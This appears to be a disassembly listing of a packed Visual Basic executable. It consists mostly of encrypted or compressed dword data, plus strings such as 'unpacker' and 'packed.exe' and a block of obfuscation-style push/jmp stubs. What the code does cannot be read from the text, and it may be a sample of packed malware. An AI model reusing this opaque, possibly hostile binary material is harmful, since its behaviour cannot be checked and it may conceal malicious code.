		dd 0B8D4752Dh, 0D2C9F610h, 3F89B149h, 55859CA1h, 45958C4Dh
		dd 709CF657h, 8BD8AD69h, 90FA1A77h, 4EB8A5Fh, 98D9714Bh
		dd 73A2495Bh, 41A92827h, 0AEEF3750h, 56489D30h,	0D83CA942h
		dd 4D8EA141h, 7FA3FE5Fh, 0F554E464h, 2C137797h,	0C40806B5h
		dd 0F91D7BDEh, 56FB04h,	0A74E682Eh, 0D6Eh, 756DBDD5h, 9F07C7C4h
		dd 0AD35E13Ah, 0B129F12Ch, 0C4C20200h, 6AA8046Eh, 839D3CAAh
		dd 928E435Bh, 0AAE1504Eh, 39CB607Eh, 2EF38EB2h,	0ED4F4AA9h
		dd 158D514Fh, 2FBD6DA4h, 34AF73AEh, 0B17E1EBEh,	107F11EBh
		dd 0E4534E82h, 89197DADh, 739BEDA6h, 0F5EC146Eh, 1B834F46h
		dd 198B1DAAh, 6AFB26D6h, 6A7194EFh, 8E8B4ADAh, 0C7CE534Eh
		dd 0C5A928D3h, 0C6DD0D04h, 0C9D93D3Eh, 0FE1AF639h, 8D08334Eh
		dd 572E1804h, 1883D099h, 572DA993h, 0A6406299h,	0F0CFE847h
		dd 0F30A2B11h, 0E1F77E8h, 2DAC13FFh, 0D6BF2AF6h, 83h, 0E216538Eh
		dd 0DE0561A5h, 534A0B99h, 842F6387h, 0A13F8498h, 0C7C20350h
		dd 0A647A249h, 475A928h, 6783C008h, 56630830h, 47BFC399h
		dd 71DF54E4h, 29995662h, 0F61EBF2Ah, 6213FFD5h,	43h, 0D316533Ah
		dd 3F84F458h, 66A7B4A1h, 0D80DE272h, 0F691560Dh, 520B900Bh
		dd 0C8A92910h, 0C7617B67h, 6C77552Fh, 5F3357A4h, 0BA58E690h
		dd 31A82228h, 570780A8h, 0CF374B99h, 0FF353343h, 112713h
		dd 8B790000h, 930h, 3AE68D1Dh, 0FEA13F85h, 7E52E6FDh, 257FC1DFh
		dd 115EB8F9h, 1C92D78Ah, 0F1DAE78Ch, 350A92Eh, 9D93091h
		dd 39E92091h, 0AC901BABh, 6C995018h, 2382746Fh,	0BA030A6h
		dd 0A13F8455h, 9332A6B5h, 0B236AC7Ch, 0B5D1F513h, 6DA4138Eh
		dd 0DF6459BDh, 8114DBC9h, 659D33D2h, 620FD851h,	185E4631h
		dd 0A1680381h, 0DB9949DBh, 0AB7CA04Bh, 3F3C8977h, 621F5CA4h
		dd 3612DB87h, 0BF1FA6C0h, 600000Bh, 75C4C20Eh, 6BEEF418h
		dd 5DFCEA32h, 0B1009E42h, 0BD2BB353h, 1DC1DFB3h, 32DA3485h
		dd 21E92594h, 0D10118B9h, 0E58E12C9h, 0A92EF637h, 7E1AA6F3h
		dd 0FA1CC4DFh, 17BBD6F5h, 4CD5CCF3h, 0A13F85DCh, 6E6274F1h
		dd 2EEEE8C5h, 697182A9h, 6B796FF4h, 7CA04BDBh, 44995017h
		dd 501781AFh, 0DE3A3999h, 489D069Dh, 0D2A13F83h, 5BB21381h
		dd 393178Fh, 60ABC468h,	6C778491h, 766AB6EDh, 8E1C72B9h
		dd 202F4B97h, 3758AFEFh, 0CE1B6AACh, 0B338C8D8h, 91613D8Dh
		dd 15930E4Dh, 6C6C485h,	0A962169Bh, 0A5B69950h,	537F9637h
		dd 4F8F864Bh, 0A4D6F544h, 43A7E495h, 71B8E654h,	0BD19D609h
		dd 0C8180FF8h, 58A4CA87h, 90FA1E79h, 50954853h,	5CA14A5Eh
		dd 5E115B7Dh, 73B3601Dh, 0BED8BE63h, 0ADD17h, 0FC2C6400h
		dd 963653E6h, 84504908h, 0B860BB1Eh, 0AD71AF22h, 39959F35h
		dd 2EA33BDBh, 1FB228F4h, 72C7DF03h, 78D7CF1Bh, 0F71D03A8h
		dd 0D8DDA92Eh, 8016537Ch, 0B054B110h, 84A58B20h, 1665A13Fh
		dd 5B76FD8Bh, 0F1A92EF0h, 0D55EEEE2h, 99501867h, 3BC9D023h
		dd 2BEF2AABh, 0BA1980CFh, 9B2FB763h, 18BC600Bh,	7F7C9950h
		dd 41BED564h, 501886AAh, 37534299h, 0B487793h, 88DDA0CAh
		dd 0E0E98216h, 62A13F83h, 0EC8A3E1Dh, 54A520Ah,	51DF3697h
		dd 3DAFEC38h, 6F14E1F2h, 647F98E7h, 86346BEEh, 0E406478Bh
		dd 3E524481h, 465D819Fh, 0E85F2DC6h, 0A2239950h, 575CB068h
		dd 0CA387210h, 67626185h, 22E22091h, 376EEFFDh,	0D969F9EBh
		dd 721CEE52h, 20A9AA89h, 89721CFCh, 1AC6DDBCh, 8534CED5h
		dd 8F4E428Eh, 242B4F93h, 0EA5259BDh, 0E389721Ch, 0D0607066h
		dd 0D7F21671h, 61883342h, 693E4191h, 48F1DF85h,	51F0E021h
		dd 41F0EE3Ah, 250A9E4Ah, 0C7C3FE21h, 0B7F8E703h, 9318DF9Bh
		dd 818303ADh, 8A296E6Dh, 0A551488Ch, 6AD65DEDh,	2E818303h
		dd 834BF2Dh, 0C0818304h, 30B528B3h, 34812ABEh, 0C689726Fh
		dd 6DA627B5h, 0C4DC3AA1h, 9791BF34h, 0A497993h,	31A73C9Fh
		dd 0B5AD08A3h, 1C5F817Ch, 400B4463h, 2CC9D70Eh,	972h, 8911C1D9h
		dd 930BCBC8h, 0A139E53Eh, 0B52DF510h, 0D8C60604h, 6EAC0062h
		dd 878130AEh, 96F2475Fh, 0AEE55472h, 3DCF6462h,	2EF78AB6h
		dd 0E94B4EA9h, 6E88584Fh, 0BADC0C03h, 13897DA1h, 48F47FFCh
		dd 0A13F84h, 0E64AE1F3h, 0A2A13F84h, 0D98A1051h, 0C16B8BDh
		dd 7ADh, 688BE300h, 29000005h, 18C8DF7Eh, 1CD8C081h, 23BE62BDh
		dd 0CCC73B88h, 74D5C704h, 58E8F31Bh, 28AAC2D3h,	9318A8A9h
		dd 99565DADh, 1256E6Dh,	0DF05CDBEh, 0FDFE069Dh,	0D4F48E15h
		dd 0BF706C61h, 9F6C4EF2h, 3BE25F3h, 2BC0D0C6h, 0CE32E312h
		dd 2C6C1B0h, 50BAFBF8h,	50888140h, 0EAB35761h, 0D73370F4h
		dd 95EF1E8h, 46440597h,	647F6486h, 78B84FE4h, 79B6C64Dh
		dd 0FA6B15E7h, 0C0EB4C84h, 1DA94525h, 3C3FC5DCh, 2AF62DACh
		dd 0D7FB17B6h, 9D158CB3h, 3E57E53Ch, 0ABAC5196h, 38CB1EF5h
		dd 874771Eh, 0C3DB0000h, 0CDCA8F17h, 0E7209109h, 0F712A73Fh
		dd 806CBD3h, 0FE60DEC4h, 4A507492h, 59418D87h, 6E749CF8h
		dd 7E64B4EBh, 84A843C1h, 44A92EF8h, 584FD771h, 8ADBC84h
		dd 41B2A3EAh
		dd 58860950h, 47A3E087h, 0E2F81C7Ah, 8B82F673h,	0F7343B5Fh
		dd 0E02864E5h, 0C3C06BF9h, 0B5A92F55h, 7C9332A6h, 0A2F33CACh
		dd 1C3443h, 0F445DDC4h,	54294D9Dh, 7B0B990Fh, 0FD19BDDAh
		dd 6DB9D3F6h, 4ADFCA09h, 0A13FD083h, 1BBBD879h,	4BE0F0FFh
		dd 9160F9E5h, 0C54B56A5h, 6CA322B6h, 4DA226BCh,	0A5C0B272h
		dd 31801BD4h, 85EC0EDAh, 97BA4787h, 202E0B88h, 7C07F06h
		dd 0F070000h, 1976DBC3h, 336CEDF5h, 435EF3EBh, 54B2079Fh
		dd 0B2BC2AB0h, 861CC0DEh, 950DD933h, 0BA20E824h, 0CAD00017h
		dd 38E48F1Dh, 0F0A92EFAh, 16531BA5h, 529B1080h,	0D0A92EF0h
		dd 59B01183h, 69A01189h, 0D91AC2DBh, 0BBFF1D4Bh, 90FA3B46h
		dd 9206982Dh, 0AB36D633h, 0ABE7961Dh, 2E2DA138h, 0DDA0455h
		dd 1CB9C72Eh, 756h, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h
		dd 0BC2AEA28h, 52B01C06h, 6BA514B2h, 7A963BA3h,	92894856h
		dd 21E35846h, 2EF9A68Ah, 0F55762A9h, 1184584Fh,	7D30A353h
		dd 1ABB296Eh, 8DB2D400h, 20B0E016h, 4060A58Bh, 8B1665A1h
		dd 9705D5CCh, 3451DF36h, 0CE485390h, 27759195h,	9BA20F0h
		dd 0C15D8EDh, 1B9Dh, 0DF7E3300h, 0F78219C5h, 337h, 0B69A11A1h
		dd 72A13F84h, 82464261h, 0D4607B78h, 1888584Fh,	7DB662B9h
		dd 12D4AF66h, 0FF792CEh, 0C4680393h, 84A13FF2h,	74F16C77h
		dd 0BADC0400h, 0A08C27B5h, 58A13FF2h, 7C6DA1Bh,	0BCA3C70Bh
		dd 0BD0CA725h, 47A92F5Fh, 0F42BAE34h, 0A67BB424h, 874B4696h
		dd 857884Ah, 0C22D6591h, 3CD9114Bh, 0C4736E69h,	0E22A64C6h
		dd 0DD02C2DFh, 0F30060CFh, 6BDDF5B4h, 0E766FA70h, 0DC7F6AAAh
		dd 83A94287h, 47995101h, 4EE5F734h, 0A1406D5Eh,	2C3D122h
		dd 72C7DF0Bh, 0C6ABCF1Bh, 49404C8h, 66804C45h, 96CC7079h
		dd 1C8C9161h, 6196A997h, 2D126191h, 86B612E0h, 0C7C2BE7Ah
		dd 58D3633Fh, 916263F4h, 73CCBF93h, 0B9D3488Bh,	0F01ABAD8h
		dd 0B417B2F3h, 9B2BB92Fh, 0D234E03Ah, 446DF6EDh, 0FE994B58h
		dd 77DD00FDh, 80AE3613h, 5F5E5h, 94445C00h, 8E4E4B0Eh
		dd 0BC68A110h, 50789326h, 4589874Ah, 117DE75Dh,	6CBD3F3h
		dd 77DAC00Ch, 6AEFF71Bh, 40FFE733h, 0FC052BC0h,	0F0C5A92Eh
		dd 88584F54h, 0DC0C036Eh, 0CF0F0DCCh, 9123A8ABh, 421B80B5h
		dd 6770861Dh, 3269C323h, 2F47F8E6h, 5B0C15B9h, 7, 18C8B7Dh
		dd 4F290000h, 0FAF78858h, 89DE2AFDh, 588C66Fh, 0D7CF0000h
		dd 0E13E930Bh, 0FB14A53Dh, 0B06CBD3h, 1C7ADFC7h, 0EA74E2F8h
		dd 5E448886h, 6D75A1FBh, 7268B0ECh, 8218C8DFh, 70DC57D5h
		dd 28A92EFBh, 584FC36Dh, 0C036E88h, 13A1BADCh, 8444E883h
		dd 514DA13Fh, 19726389h, 65AAA9CDh, 8450FC77h, 0CB08A13Fh
		dd 54C83ED0h, 75F5ED3Dh, 0E35975BAh, 0A7226B7Ch, 15EAEE06h
		dd 2A9A0Ch, 47060000h, 0BF198050h, 1EC6DF7Eh, 567A95FCh
		dd 0FB0F8A11h, 0AD000000h, 19C5DF7Eh, 0B2F2FAFDh, 0B9F3276Eh
		dd 0E7166178h, 4A000000h, 19C5DF7Eh, 70EBF6FDh,	1705AEF3h
		dd 0D3A13F85h, 84F458D3h, 0A7B4A13Fh, 23B32166h, 0E4A6A8CCh
		dd 94F2D850h, 0E8291670h, 696168F1h, 90E3A92Fh,	93474100h
		dd 2FBCB27h, 607BB8C4h,	1C92D796h, 0F57AE78Ch, 0A3B0A139h
		dd 2A5EBDEh, 0CB527C2Eh, 49Eh, 0A53DED25h, 0CFD7F714h
		dd 0DDC5110Ah, 0E1F9217Ch, 0F4923250h, 9AF8D45Eh, 0B3ED6C7Ah
		dd 0C2DE736Bh, 0DA31801Eh, 693B900Eh, 2EFC5EC2h, 3D9F1AA9h
		dd 58D31653h, 0A13F84F4h, 56BCABB4h, 1EDE9E0Eh,	630898D9h
		dd 0A9290313h, 2B9CFA5Bh, 56689C80h, 0DE1F5C99h, 17B7D5BCh
		dd 1D8FCCF3h, 5668AA96h, 766D6E99h, 0FE5F4D8Eh,	0FA6179A5h
		dd 99566853h, 9914158h,	5FD44F48h, 995668F1h, 1662A2E0h
		dd 0DB6284C5h, 416h, 0C91162CDh, 0ADFA755Fh, 16538236h
		dd 529B1080h, 0D0A92EF1h, 0C1066783h, 51CBD2Fh,	0AE3ECED5h
		dd 88D85A41h, 0A8333D6Dh, 392B5E03h, 0A25F9CA1h, 2E0D73FDh
		dd 0DBA5406Eh, 62000003h, 51E0FE2Ah, 470A9034h,	0B918864Eh
		dd 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h, 2EF610A1h,	0DD0501B0h
		dd 0CD1D74C5h, 1AA7ED5h, 0A92EFE1Bh, 537EDADFh,	9B108016h
		dd 0A92EF156h, 0B41587D4h, 5BE8815Dh, 0F478D5Eh, 6EAF6FACh
		dd 12CAC170h, 76AA25FEh, 6D89CEAFh, 5CB7CB18h, 0F115B9D6h
		dd 66698DF2h, 8FCAD086h, 93D01126h, 76F66A01h, 152A13Fh
		dd 49420393h, 60B7069Dh, 70A72AB0h, 8B4A46A0h, 3D224494h
		dd 28BE0BA6h, 0B8EA33B8h, 0EBE89949h, 12F9BF16h, 7AEC836h
		dd 33Eh, 455D8D85h, 6F7797F4h, 7D65B1EAh, 8119C1DCh, 9432D230h
		dd 3A58343Eh, 534D0C9Ah, 62BE138Bh, 7A9120BEh, 99B30AEh
		dd 2EFDBE62h, 9D3F7AA9h, 6E88584Fh, 0C6DC0C03h,	1339B242h
		dd 0D7A13F85h, 25A21D84h, 478A21B3h, 0BDA9289Dh, 6B9A862Dh
		dd 0F9179956h, 25BCBFD5h, 3D7A9CDFh, 99566C0Bh,	0F644A2DCh
		dd 13FFCD9Eh, 43CAh, 16538200h,	0F69B1080h, 34A9289Eh
		dd 58D34C45h, 99566AF4h, 2166A7B4h, 0A48823B3h,	6499566Ah
		dd 0D8A8C17h, 99566B1Bh, 0E634D2ECh, 13FFD28Eh,	0BB63BC1Dh
		dd 40DF105Fh, 98F5F2A8h, 0EB13746Fh, 0B5000000h, 6E88584Fh
		dd 527A9332h, 21900B48h, 0FAC723E3h, 8A6577A3h,	0D4176C99h
		dd 0A75F4A1Eh, 8517C3DAh, 423A90AAh, 757A9C48h,	37858938h
		dd 48537B94h, 0ADD535B2h, 61B8A13Fh, 71A829B1h,	0E36045A1h
		dd 8E4FDFCDh, 0DA464F93h, 9EA13FA3h, 0A3B7650Eh, 6073A13Fh
		dd 9828B823h, 874F4908h, 3FA4220Eh, 0C896C1A1h,	11C893C4h
		dd 78E1F8FBh, 0A928CEC5h, 974E54A7h, 0A74C5C52h, 0A14264AAh
		dd 60E1F300h, 5EEEE222h, 6AB467D5h, 0C9D02391h,	42828031h
		dd 1CDECA1h, 0B4517F2Eh, 1F2h, 9914159h, 138B4B48h, 21B965BEh
		dd 35AD7590h, 58468684h, 0EE2C80E2h, 701B02Eh, 1672C7DFh
		dd 2E65D4F2h, 0BD4FE4E2h, 2F000A36h, 69CBCEA9h,	2C2DF7Eh
		dd 51E0FBF8h, 770B9333h, 0F511BDD6h, 2D64D3CEh,	0E465E5FDh
		dd 0DF0466A6h, 0DF7E70C4h, 0F9257EC4h, 8D1D5EB8h, 0B59539DCh
		dd 5CB51455h, 31B629B0h, 3C9D2DBFh, 9B3F5AE0h, 0A833305Ah
		dd 28B55E03h, 0F554E4A9h, 0D57B709Ch, 95995680h, 0A6B55B46h
		dd 80E55744h, 0F2A69956h, 0F7923A53h, 53A3EF17h, 713FFBCh
		dd 0F0h, 88584F59h, 0C105036Eh,	888243D3h, 0BC353A5Ch
		dd 0A13F8490h, 66900B48h, 0AA72AB2Ah, 1A910340h, 0A13F8536h
		dd 71FAE1F2h, 0A13F8999h, 554D9DF4h, 197DADE4h,	1B891FA4h
		dd 4461A48Bh, 2A1907ACh, 82D1A13Fh, 5484CA51h, 969A44Dh
		dd 0F43BA928h, 40184FDh, 0A6D28FC0h, 80444160h,	0F0E0F319h
		dd 8A65CB60h, 85259955h, 558A42EEh, 0B4F50699h,	0AB38952Dh
		dd 0F20CA735h, 0AA1415Fh, 0E44BDBC9h, 7B3183A7h, 79D8C39Fh
		dd 6EE3FB1Bh, 9013EC30h, 0DB2E0002h, 0BC10BDh, 0B030000h
		dd 1572C7DFh, 2F68E9F1h, 3F5AFFE7h, 504E039Bh, 0B6B8168Ch
		dd 8218BCDAh, 9109D5CFh, 0A63CE420h, 0B62CFC13h, 3CE08B19h
		dd 0FCA92F01h, 0EE7E1FB9h, 3F84D745h, 19BDDAA1h, 408482F3h
		dd 0A363A003h, 5B7B9938h, 842FBF43h, 0A13F8498h, 39980350h
		dd 2CA836E2h, 0AEEA584Fh, 0D1C1256Ah, 0A9E3FB1Eh, 0D6560280h
		dd 5F1D56C4h, 7DDCC7F7h, 5CECFA26h, 647F9FFDh, 766A7CC9h
		dd 2F467BFDh, 7294E7A9h
		dd 514AF82Fh, 0FB5E4485h, 651274A4h, 0FCFC3FA6h, 9E0EF80Ah
		dd 8E435B87h, 25ED2997h, 0E43F82E4h, 7F9B475Eh,	0EBD73370h
		dd 0E43B7195h, 0F42BAE34h, 33BC224h, 59000000h,	574F2E8Ah
		dd 0B026F8Bh, 0BAD6BBDFh, 73ADF416h, 24624FABh,	0DD3B86E0h
		dd 99F4DD39h, 534C1571h, 5026F8Bh, 56B7A5C1h, 0C6815E54h
		dd 4, 8704EE83h, 685C2434h, 6F1Ah, 68242C89h, 205h, 52240489h
		dd 0EF6D6CBAh, 8BD58907h, 0C4812414h, 4, 623868h, 24248900h
		dd 4240481h, 58000000h,	31B95155h, 294C2537h, 5904244Ch
		dd 8108408Fh, 37310840h, 48B4C25h, 0E7895724h, 4C781h
		dd 0C7830000h, 243C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h
		dd 0FFFAD568h, 5049CABFh, 0CDEFADB2h, 0EF7D2DB8h, 0FFC50307h
		dd 0CD30B2E0h, 0DC414E7Fh, 6735564Ch, 0AE047F25h, 0E49FC97Fh
		dd 8F38CC1Eh, 794F5239h, 80D8371Fh, 3E8FF14Dh, 7348246Ch
		dd 680E2B71h, 0D0C41E6Fh, 0B12BF829h, 0B9C1E014h, 2869B075h
		dd 0F4AFE673h, 1C4A6146h, 0A0813D70h, 0A0C01021h, 0F563F5Ah
		dd 0EFBC2A23h, 86C0B76Eh, 5E824h, 2ABA0000h, 0FC93C264h
		dd 0DB81665Ah, 0C281F628h, 5E60h, 4A4BB66h, 1767BFh, 0F783BB00h
		dd 0A8B594Ch, 81B3E080h, 0BB028AF1h, 81F18B41h,	0D437A0E9h
		dd 870F66h, 81000000h, 0C4736AE9h, 0B70F5212h, 81515BC2h
		dd 0FE5658F6h, 0E9028F19h, 8, 214C18C9h, 0C744F902h, 6604EA83h
		dd 0CEB3D881h, 0F01EF83h, 3085h, 14E900h, 0F5250000h, 0D63C9573h
		dd 2DC1A3FCh, 7AE3388Ah, 0C6F00F94h, 3FE9D816h,	22000000h
		dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh, 10E9B7h
		dd 0E5830000h, 312E3BCBh, 39639BABh, 3DF8DB1h, 6BE9C238h
		dd 0DCFFFFFFh, 0DD1C1EA7h, 0DD0846FBh, 0D4123B4Fh, 0BC19D31Eh
		dd 8D8D5425h, 7EF7F8Eh,	8D0FE68Ah, 15h,	10E9h, 0F432AF00h
		dd 4DB7F7E2h, 226C6FFDh, 24B2D189h, 0D8D89F2h, 907E932h
		dd 0E90BA58Dh, 0EE907h,	0C2030000h, 0BFB5048h, 0C9A671CBh
		dd 60B08A95h, 22E585C7h, 5DFC07E9h, 81660000h, 0C7BF84D7h
		dd 0E922B185h, 7, 39B58B00h, 0E907E916h, 8, 733905BFh
		dd 4EA61C19h, 2C6DB5FFh, 952307E9h, 7E919DDh, 228595FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 85C53C3h,	0D0826083h, 9589F960h, 7E90E85h
		dd 0FF006A61h, 0E90C3195h, 0EBC08B07h, 7735C379h, 0E0E00893h
		dd 58D2708h, 0DCADA1CFh, 0A330454Ch, 96F80455h,	6D1FDDD8h
		dd 4DFF63A1h, 0B48A3B5h, 55A4DAE6h, 3A98551Fh, 0FADD264h
		dd 0E08A65F3h, 53A1B12h, 0AA157076h, 454EA24h, 0C6AF0F19h
		dd 342CD1FBh, 3CFBC3C2h, 5694835Ch, 819D1575h, 43C30A7Fh
		dd 212C4C95h, 0DC1662E2h, 21FC1C2Fh, 0C0EC192h,	2C355654h
		dd 468F23D8h, 4F68CB94h, 0B9A04F9Ch, 6DE92471h,	45000001h
		dd 0DD004113h, 437C8360h, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EDA7B
; ---------------------------------------------------------------------------
		push	7EF83A8h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF8490h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF85CEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF869Fh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF86DEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF877Bh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF87CEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF8815h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF8F5Fh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF8FE3h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF9072h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF917Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF9206h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF92D1h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF935Ch
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF940Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF9A0Bh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF9AE0h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EF9B94h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0B31D90E0h, 0E450DD9Fh, 2B852852h, 58F479FBh, 0BE2EC7B5h
		dd 80F41979h, 0D25243EDh, 1E5EF123h, 65172597h,	86FBA7C8h
		dd 286D4306h, 4A8EFC0Eh, 0A944D6A0h, 8A0FD63Ah,	5C9466h
		dd 36C0EF86h, 28041DD5h, 0E677D8AFh, 75508C43h,	2E931AD3h
		dd 9D39F187h, 0E36BFD7Fh, 0D7ED31B3h, 50C3961Bh, 1D7C35C7h
		dd 7537B4ECh, 3CC9D72Fh, 84898CFh, 9EB21A46h, 0B68200DCh
		dd 73ACFBD7h, 0BC5DE128h, 19F4A51Fh, 3DC18Ch, 0B3E10000h
		dd 0ECA537A0h, 37B5AAEDh, 7E27FFA5h, 2873AA62h,	0BE86F01Ah
		dd 0C4800212h, 4DC44336h, 0E0F0451h, 0D7F9A478h, 0F01CC436h
		dd 0F121AD49h, 0D9119373h, 1AAB1AEAh, 0F0548Ch,	4A6E0000h
		dd 420ED6A0h, 4571CDAFh, 5D79C5B7h, 0A32BBDBFh,	0BE03EF89h
		dd 0E496A420h, 0C1757D0Ch, 45D7305Ch, 0FC1EBA3Bh, 6DE5CB4h
		dd 8816EE7Ch, 98502ACCh, 2BBD2AC5h, 91BF7C92h, 72BEED54h
		dd 1D43DA74h, 26661B9Fh, 0EE305C6Ch, 7C1121B4h,	0B72A6A27h
		dd 0B8EA305Ch, 0AC3FCE2Ah, 7037B5A5h, 0F23EBCD4h, 6802940Eh
		dd 73A57939h, 21099B28h, 0F96E89DCh, 0CD24326Fh, 3A682FC7h
		dd 1B9B16A0h, 3D2087CEh, 3815D1Fh, 0A0B51193h, 0C28A1CD4h
		dd 74A04D2Fh, 1B1E9BE1h, 393C3516h, 1888B225h, 49E20000h
		dd 62A862Fh, 0B95FF974h, 92822EC7h, 1E339D10h, 0E059D75Eh
		dd 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch,	9F1F920Ch
		dd 71286D41h, 0A74A655Bh, 0ED2029D2h, 5C0AF4B4h, 0F7861C30h
		dd 7006C90Ch, 89B953FDh, 8FCB1B99h, 0EE7C126Ah,	0A0B3C347h
		dd 0E939A537h, 0C572326Fh, 0A2305Ch, 71208672h,	37B5AB72h
		dd 0D9A3B420h, 15E97F05h, 73AB506Ch, 61083428h,	19FA50B0h
		dd 564BE58Ch, 2873B756h, 0D10CE4BEh, 9Eh, 0D6A04AF1h, 684CA944h
		dd 2F3165D1h, 0E23AFC3h, 0E7EF966Eh, 61305CB7h,	9A04A9CBh
		dd 865E1832h, 6A8034FCh, 0F6613408h, 7DAD761h, 2F37B5A5h
		dd 8AA5F875h, 7F168B1Dh, 372FC7CFh, 0DE73DB6Dh,	3F720C9Eh
		dd 2087D07Fh, 0CEC6B659h, 27911CD4h, 0FECF6A12h, 0C63C3514h
		dd 17A0590Eh, 31DA0000h, 0EE02AE47h, 0A1B7E18Ch, 0AAFA56DFh
		dd 62B8528h, 0C861FF76h, 0BE3745E8h, 0EC810312h, 20CDAF40h
		dd 991466F4h, 0B7F7AAF4h, 59286D40h, 0DC787D23h, 0E7FD413Bh
		dd 0F28AAF0Bh, 393BD143h, 0DC780EB4h, 0E2E03C3Eh, 0EE88A216h
		dd 0CFCFC25Ch, 41305CC4h, 4D5B9763h, 0C4BEFEB3h, 10AF305Ch
		dd 25B92561h, 574F2B6Bh, 0E57B09D5h, 0F183A90Dh, 990E297Ch
		dd 9DDB920Fh, 0C9DB37B4h, 0FF81973Fh, 0F686AB27h, 7406942Eh
		dd 729E7D3Dh, 250D9728h, 9DBC1889h, 65BC2872h, 62B31FE7h
		dd 9DEBABE6h, 7F252872h, 3E4615E9h, 5BE7639Fh, 0F7AA44B2h
		dd 28729DB7h, 0DCEF4B59h, 8C1B02E4h, 0D802h, 0BF3FA000h
		dd 1DAF383Bh, 76E4EA83h, 0EF5B25A9h, 9A8F4203h,	7D2737B5h
		dd 0F176E899h, 0E80BDCF9h, 0E9B4ED7Fh, 295B31E6h, 0ACE4AA4Dh
		dd 3ECCD62Eh, 0F64EDCE6h, 0B6346CE8h, 0C19C546Eh, 7A37C156h
		dd 53444701h, 53D1C1ADh, 0C963F1F3h, 4742423Fh,	0D0D24403h
		dd 5AF48E18h, 3476727h,	3FFBA944h, 7507719Bh, 423FB9E9h
		dd 44034742h, 0F642D0D2h, 0D1A349EBh, 0B89F2958h, 0C4FB4BDFh
		dd 1662h, 68057784h, 0A35228CCh, 109DDF71h, 47EE6CA4h
		dd 0B93440D5h, 87AA0623h, 0C5DC78F5h, 0ED02AE47h, 0A4B6E293h
		dd 68325BDAh, 6D407939h, 3619B28h, 0ED6A04Ah, 762BB8BBh
		dd 305CC536h, 0F1193C27h, 2569F56Bh, 0C65FE97Fh, 505D31C8h
		dd 0F0F642FEh, 0B4E5CA81h, 3BBAE837h, 0F0BF3F8Fh, 73BF3D54h
		dd 9224B3BEh, 4B8842FBh, 160F592Fh, 0A6344E96h,	0B2255C4Ah
		dd 37B57Eh, 0F5CB7AA2h,	0AAF8C82h, 0B3EE78EFh, 0A8A377E8h
		dd 0D5A8742Eh, 463BCD5Ah, 0A0B5D80Dh, 0ED6903A1h, 0BF0B1B4Fh
		dd 0F353E19Bh, 3FC963F1h, 18C80BA6h, 0B2E71F3Fh, 917505F2h
		dd 25A88022h, 8D3A2CB9h, 0F14D2FC2h, 37D45AF3h,	0B44672BEh
		dd 102A2FCAh, 0FA4AAD06h, 1591C5h, 3646D500h, 83F91DBFh
		dd 0CEB046F2h, 1F9DF527h, 65173A96h, 0FBD750C8h, 2D8F2656h
		dd 53FD70F4h, 8731BCBCh, 56A0B75h, 3EA8E899h, 5268286Dh
		dd 0D6A04A6Ch, 0E1E1305Bh, 2F805C33h, 1552h, 78F58794h
		dd 0B34238DCh, 0E08DEF01h, 57DE5CB4h, 892450E5h, 97BA1613h
		dd 0B5EC48E5h, 0FD12BE37h, 0B446F283h, 58422BCAh, 6D3F6929h
		dd 3391AB28h, 0ED6A04Ah, 9D2FB8BBh, 0B59AF1E4h,	79933B37h
		dd 554F33FFh, 1C9A09D8h, 0BDF48611h, 2FCC744Ah,	23D23A68h
		dd 9D22BCB1h, 22B423CEh, 3AB1246Fh, 6CB0F28Bh, 0E73F9E99h
		dd 750B9965h, 0A92B7BE3h, 5E34F55h, 2D4FE36Bh, 4178D4D1h
		dd 3C543E0Dh, 0CA8342AEh, 0E4834C7Eh, 8AA02CBEh, 41EB45E8h
		dd 0A7EDBA37h, 7BCB8FB0h, 14B544h, 5A1A3100h, 0A7D579DBh
		dd 0F28CA20Eh, 43C1D143h, 89F306B2h, 0C7B374E4h, 9AB4A32h
		dd 0BF199418h, 0E34DE098h, 0E1862F49h, 3DCCCCC5h, 3644286Dh
		dd 0C51F9F50h, 0D0EC305Ch, 7D305CB4h, 305CA561h, 5CA4F2CEh
		dd 16608A30h, 0E1C1C49Bh, 7B6CE033h, 1462h, 68057784h
		dd 0A35228CCh, 109DDF71h, 47EE6CA4h, 0B93440D5h, 87AA0623h
		dd 0C5DC78F5h, 0ED02AE47h, 0A4B6E293h, 68325BDAh, 6D3E7939h
		dd 3619B28h, 0A537A0B3h, 0B5A331ECh, 16A30137h,	3408C045h
